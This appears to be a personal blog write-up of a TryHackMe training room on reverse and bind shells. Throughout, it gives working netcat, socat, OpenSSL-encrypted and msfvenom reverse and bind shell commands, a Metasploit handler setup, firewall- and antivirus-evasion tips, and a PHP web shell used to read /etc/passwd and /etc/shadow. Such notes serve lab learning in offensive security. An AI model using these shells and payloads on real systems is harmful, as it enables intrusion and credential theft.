THM — What the Shell?

jon

5 min readSep 6, 2021

My Notes on THM Room: An introduction to sending and receiving (reverse/bind) shells when exploiting target machines.

Common tools used to receive and send bind shells:

netcat
socat
Metaploit — multi/handler
msfvenom

Reverse Shell Cheat Sheets

There are two main different types of shells:

Reverse Shells — are when the target is forced to execute code that connects back to your computer. On your own computer would you set up a listener such as nc to connect. The important thing here is that we are listening on our own attacking machine, and sending a connection from the target.
Bind Shells — are when the code executed on the target is used to start a listener attached to a shell directly on the target. The important thing to understand here is that we are listening on the target, then connecting to it with our own machine.

Shells can be either:

Interactive — allow user interaction. For example we can ssh *ip* and the shell responds with options.
Non-interactive — does not allow user interaction. Typing in the ssh command will not return anything.

Netcat

syntax for a listener in netcat:

nc -lvnp <portnumber>

-l is used to tell netcat that this will be a listener
-v is used to request a verbose output
-n tells netcat not to resolve host names or use DNS.
-p indicates that the port specification will follow.

Be aware that if you choose to use a port below 1024, you will need to use sudo when starting your listener. That said, it's often a good idea to use a well-known port number (80, 443 or 53 being good choices) as this is more likely to get past outbound firewall rules on the target.

syntax for a bind netcat shell:

** assuming that a listener is already active on target machine**

nc <targetip> <portnumber>

Linux Stabilization Tips

Netcat shells are commonly unstable. This is due to netcat “shells” really being processes running inside a terminal, rather than being bonafide terminals in their own right.

Technique #1

Spawn a better shell with:

python -c 'import pty;pty.spawn("/bin/bash")'

This shell will look much better but we still dont have tab autocomplete or the arrow keys and Ctrl+C will still kill it. :(

Type this:

export TERM=xterm

This will allow us to use commands like clear.

Lastly, we will background the shell with Ctrl+Z. Back in our own terminal we use.

stty raw -echo; fg.

This does two things: first, it turns off our own terminal echo (which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes). It then foregrounds the shell, thus completing the process.

Technique #2

Use rlwrap. Rlwrap is a program which, in simple terms, gives us access to history, tab autocompletion and the arrow keys immediately upon receiving a shell. You can install with

sudo apt-get install rlwrap

To use rlwrap we simply add it to the current listener syntax

rlwrap nc -lvnp <portnumber>

Technique #3

Socat. Use an initial netcat shell as a stepping stone into a more fully-featured socat shell. For this one to work we need to make sure the victim target has socat downloaded. We can successfully transfer this with a python simple http server. Once socat is setup, open another terminal and run

stty -a

Socat

The easiest way to think about socat is as a connector between two points.

To setup a reverse shell we type:

socat TCP-L:<port> -

On Windows, we can use this to connect back:

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes

On Linux, we can use this to connect back:

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

To setup a bind shell on Linux:

socat TCP-L:<PORT> EXEC:"bash -li

On a Windows target we would use this command for our listener:

socat TCP-L:<PORT> EXEC:powershell.exe,pipes

Regardless of the target, we use this command on our attacking machine to connect to the waiting listener:

socat TCP:<TARGET-IP>:<TARGET-PORT> -

Encrypted Socat Shells

We use OpenSSL instead of TCP. First we need to create a certificate.

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

We then need to merge the two created files into a single .pem file.

cat shell.key shell.crt > shell.pem

Then we setup our reverse listener:

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

To connect back:

socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

The same techinque applies to a bind shell. On the target we type:

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes

On attacker:

socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

Common Shell Payloads

Netcat common shell payloads, bind shell:

nc -lvnp <PORT> -e /bin/bash

Reverse Shells:

nc <LOCAL-IP> <PORT> -e /bin/bash

Msfvenom

Part of the Metasploit framework, msfvenom is used to generate code for primarily reverse and bind shells.

Basic syntax for msfvenom is:

msfvenom -p <PAYLOAD> <OPTIONS>

For example, to generate a Windows x64 Reverse Shell in an exe format, we could use:

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>

-f <format>
Specifies the output format. In this case that is an executable (exe)
-o <file>
The output location and filename for the generated payload.
LHOST=<IP>
Specifies the IP to connect back to. When using TryHackMe, this will be your tun0 IP address. If you cannot load the link then you are not connected to the VPN.
LPORT=<port>
The port on the local machine to connect back to. This can be anything between 0 and 65535 that isn’t already in use; however, ports below 1024 are restricted and require a listener running with root privileges.

Staged vs Stageless

Staged payloads are sent in two parts. The first part is called the stager. This is a piece of code which is executed directly on the server itself. It connects back to a waiting listener, but doesn’t actually contain any reverse shell code by itself. Instead it connects to the listener and uses the connection to load the real payload, executing it directly and preventing it from touching the disk where it could be caught by traditional anti-virus solutions. Thus the payload is split into two parts — a small initial stager, then the bulkier reverse shell code which is downloaded when the stager is activated. Staged payloads require a special listener .
Stageless payloads are more common — these are what we’ve been using up until now. They are entirely self-contained in that there is one piece of code which, when executed, sends a shell back immediately to the waiting listener.

The payload naming convention used by msfvenom is:

<OS>/<arch>/<payload>

For example:

linux/x86/shell_reverse_tcp

This would generate a stageless reverse shell for an x86 Linux target.

The exception to this convention is Windows 32bit targets. For these, the arch is not specified. e.g.:

windows/shell_reverse_tcp

For a 64bit Windows target, the arch would be specified as normal (x64).

windows/x64/shell_reverse_tcp

Stageless payloads are denoted with underscores (_). The staged payloads are denoted with /.

You can list all payloads

msfvenom --list payloads

Metasploit multi/handler

Open metasploit with msfconsole, type:

use multi/handler

we then set payload, LHOST, and LPORT. Type exploit or run. This allows the exploit to run and if successful, it opens up a meterpreter shell.

WebShells

A script which is uploaded and ran on a webserver which executes code on the server.

A very basic reverse shell is utlizing php is:

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

This will take a GET parameter in the URL and execute it on the system with

 shell_exec()

Essentially, what this means is that any commands we enter in the URL after the parameter. Common commands to put after the cmd parameter includes whoami, ifconfig, ls , pwd, hostname, arch, cat /etc/passwd, and cat /etc/shadow.